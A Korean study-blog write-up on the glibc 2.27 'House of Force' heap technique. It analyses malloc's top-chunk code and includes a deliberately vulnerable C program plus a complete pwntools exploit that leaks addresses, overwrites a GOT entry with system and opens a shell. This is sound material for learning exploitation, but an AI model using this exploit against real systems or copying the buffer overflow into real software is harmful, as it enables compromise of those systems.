Study/Linux

house of force - 2

sh711 2025. 3. 31. 23:37

1. house of force 

top_chunk의 size를 변조하여 소스 코드 내 검증 로직 우회를 통해 top_chunk를 임의의 위치로 업데이트 시킨 후

해당 주소에 메모리 할당을 받을 수 있는 취약점이다.

 

glibc-2.29 이상에선 패치가 되었고 테스트 환경은 glibc-2.27에서 진행하였다.

 

2. 코드 분석

아래 코드가 실제 malloc 시 동적 메모리 할당을 해주는 부분이다

  // glibc-2.27/malloc/malloc.c:2728
  
  /* finally, do the allocation */
  p = av->top;
  size = chunksize (p);

  /* check that one of the above allocation paths succeeded */
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
    {
      remainder_size = size - nb;
      remainder = chunk_at_offset (p, nb);
      av->top = remainder;
      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE);
      check_malloced_chunk (av, p, nb);
      return chunk2mem (p);
    }

  /* catch all failure paths */
  __set_errno (ENOMEM);
  return 0;
}

 

chunk_at_offset, chunk2mem, set_head 매크로는 다음과 같다.

#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))

#define set_head(p, s)       ((p)->mchunk_size = (s))

 

해당 상태에서 malloc 시 일어나는 과정을 분석해보면

 

 

1. p에 av-> top (탑 청크의 주소)를 넣어준다 (0x602360)

2. size에 탑 청크의 사이즈를 넣어준다 (134305)

 

3. 만약 size (탑 청크의 크기)가 nb(새로 요청한 크기) + 청크의 MINSIZE 보다 크다면 조건문을 진입힌다.

==> 탑 청크의 사이즈가 모자를 경우 실패

 

4. remainder_size 에 size(top chunk size) - nb(새로 요청한 크기) 크기를 넣어준다 => Top_Chunk 업데이트 사이즈

134305 - 0x200 = 0x20AA1

 

5. remainder에 p (top_chunk_addr) + nb (새로 요청한 크기) 주소를 넣어준다 => Top_Chunk 업데이트 주소

0x602360 + 0x200 = 0x602560

 

6. av -> top = remainder 이 부분에서 현재 사용중인 malloc_state 의 top 즉, Top_Chunk의 주소를 변경해준다

av -> top = 0x602560

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

 

7. set_head를 통해 p(새로 요청된 청크)의 mchunk_size를 nb 값을 넣어준다

p -> mchunk_size = 0x200

 

8. set_head를 통해 remainder(Top_Chunk)의 mchunk_size에 remainer_size(Top_Chunk_size - nb) 값을 넣어준다.

top_chunk->size = 0x20aa1

 

9. 새로 할당된 p 청크를 반환한다

top_chunk_size = 0x20a91 이며 탑 청크와 새로 할당된 청크의 헤더 사이즈(0x20)을 뺀 값이다

 

3. 취약점

만약 nb (새로 할당 사이즈)가 0xffffffffffffeee0(-4384)가 되면 어떻게 되나

remainder = chunk_at_offset (p, nb);

remainder은 업데이트 될 top_chunk의 주소이다.

 

그런데 해당 값이 nb 값으로 인해 변조될 경우 malloc 이후에 top_chunk의 값 변조가 가능하다

따라서 해당 로직을 우회한다면 nb 값이 얼마가 되든 malloc이 수행되고 top_chunk는 원하는 주소로 변조시킬수 있다.

 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))

 

그러므로 hof 취약점은 top_chunk_size를 변조할 수 있을때 가능한 취약점이다.

 

첫 번째 malloc(0x100)이다

 

두 번째 malloc 수행 전 top_chunk_size를 -1로 변조하여 조건문에서 top_chunk_size(-1) > nb(0xffffffffffffeee0) + MINSIZE조건이 참이 되도록 하였다

 

이대로 malloc 수행 시 

remainder_size = Top_Chunk_size는 0xffffffffffffffff - 0xffffffffffffeee0 = 0x111F

remainder = Top_Chunk_address 는 0x602360 + 0xffffffffffffeee0 = 0x601240

가 될것이다

 

힙 영역을 벗어나 data 영역(0x601250)에 top_chunk가 자리를 잡게 되었다.

 

이제 여기서 정상적인 malloc(0x100) 수행 시 임의의 주소에 동적 메모리 할당이 가능하다.

 

4. 실습

hof를 이용해 쉘을 따는 익스플로잇을 해보겠다

작성한 코드를 사용하겠다.

got overwrite 방식으로하기 위해 partial relro 설정

// gcc -o hof hof.c -Wl,-z,relro,-z,lazy

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_ALLOCATE 10

void init() {
 setvbuf(stdin, 0, _IONBF, 0);
        setvbuf(stdout, 0, _IONBF, 0);
}

char *ptr[MAX_ALLOCATE];

void create_paper(int idx) {
        char content[0x40] = {0};
        int size;

        printf("Enter size : ");
        scanf("%d", &size);

        if(idx > 10) {
                printf("Full ptr...");
                exit(0);
        }

        ptr[idx] = malloc(size);
        if(ptr[idx] == NULL) {
                printf("Memory allocation Fail \n");
                exit(1);
        }

        printf("write content : ");
        read(0, content, 0x100);
        // strncpy(ptr, content, size);
        memcpy(ptr[idx], content, strlen(content));
        printf("Allocate Success\n");
}

void print_paper() {
        int num;
        printf("Select Index : ");
        scanf("%d", &num);
        printf("%s\n", ptr[num]);
}

void delete_paper() {
        int num;
        printf("Delete Index : ");
        scanf("%d", &num);
        free(ptr[num]);
        printf("Delete Success\n");
}

int main() {
 init();
 printf("main Addr : %p\n", (void *)main);
        int ch, idx = 0;
        while(1) {
                printf("1. create paper\n");
                printf("2. read paper\n");
                printf("3. delete paper\n");
                printf("4. exit\n");
                printf("Select Options : ");
                scanf("%d", &ch);
                switch(ch) {
                        case 1: {
                                create_paper(idx);
                                idx++;
                                break;
                        }
                        case 2: {
                                print_paper();
                                break;
                        }
                        case 3: {
                                delete_paper();
                                break;
                        }
                        case 4: {
                                printf("bye bye~\n");
                                exit(0);
                        }
                        default:
                                printf("Invalid Number\n");

                }
        }
        return 0;
}

 

 

 

from pwn import *

io = process("./hof")
elf = ELF("./hof")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

pause()

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))


io.recvuntil("main Addr : ")
main_addr = int(io.recvn(14), 16)
slog("main_Addr", main_addr)

main_offset = elf.symbols["main"]
stdout_elf_offset = elf.symbols["stdout"]
stdout_libc_offset = libc.symbols["_IO_2_1_stdout_"]
pie_base = main_addr - main_offset
slog("pie_base", pie_base)

def create_malloc(size, content):
    io.sendlineafter("Select Options : ", str(1).encode())
    io.sendlineafter("Enter size : ", str(size).encode())
    io.sendafter("write content : ", content)

def free_malloc(index):
    io.sendlineafter("Select Options : ", str(3).encode())
    io.sendlineafter("Delete Index : ", str(index).encode())

create_malloc(32, b"a")
create_malloc(48, b"b")
free_malloc(0)
free_malloc(1)

pause()

payload1 = b"A" * 0x38
create_malloc(32, payload1)

pause()

io.sendlineafter("Select Options : ", str(2).encode())
io.sendlineafter("Select Index : ", str(0).encode())
io.recvuntil(payload1)
heap_addr = u64(io.recvn(6) + b"\x00" * 2)

slog("heap_addr", heap_addr)

top_chunk_addr = heap_addr + 0x240 + 0x30 + 0x40 + 0x10
slog("top_chunk_addr", top_chunk_addr)

pause()

payload2 = b"A" * 0x18
payload2 += b"\xff\xff\xff\xff\xff\xff\xff\xff"
create_malloc(16, payload2)

pause()

stdout_addr_malloc = (pie_base + stdout_elf_offset) - (top_chunk_addr + 0x30)
create_malloc(stdout_addr_malloc, b"a")

pause()

create_malloc(256, b"\x60") # libc.so [stdout] symbol 1 byte offset

pause()


io.sendlineafter("Select Options : ", str(2).encode())
io.sendlineafter("Select Index : ", str(5).encode())
stdout_addr = u64(io.recvn(6) + b"\x00" * 2)
libc_base = stdout_addr - stdout_libc_offset
slog("libc_base", libc_base)


# free_got modify
free_hook = libc_base + libc.symbols["__free_hook"]
payload3 = b"A" * 0x18
payload3 += b"\xff\xff\xff\xff\xff\xff\xff\xff"
create_malloc(16, payload3)

pause()

free_got = pie_base + elf.symbols["exit"]
free_got_malloc = free_got - (pie_base + stdout_elf_offset + 0x100 + 0x20 + 0x70)
io.sendlineafter("Select Options : ", str(1).encode())
io.sendlineafter("Enter size : ", str(free_got_malloc).encode())
io.sendafter("write content : ", b"a")

pause()

system_addr = libc.symbols["system"] + libc_base
payload3 = b"A" * 0x8
payload3 += p64(system_addr)
io.sendlineafter("Select Options : ",str(1).encode())
io.sendlineafter("Enter size : ", str(200).encode())
io.sendafter("write content : ", payload3)

pause()

binsh_offset = next(libc.search(b"/bin/sh\x00"))
binsh = libc_base + binsh_offset
create_malloc(16, p64(binsh))

pause()

io.sendlineafter("Select Options : ", str(3).encode())
io.sendlineafter("Delete Index : ", str(8).encode())

pause()

io.interactive()

 

 

got overwrite를 통한 쉘 획득

free_got => system_got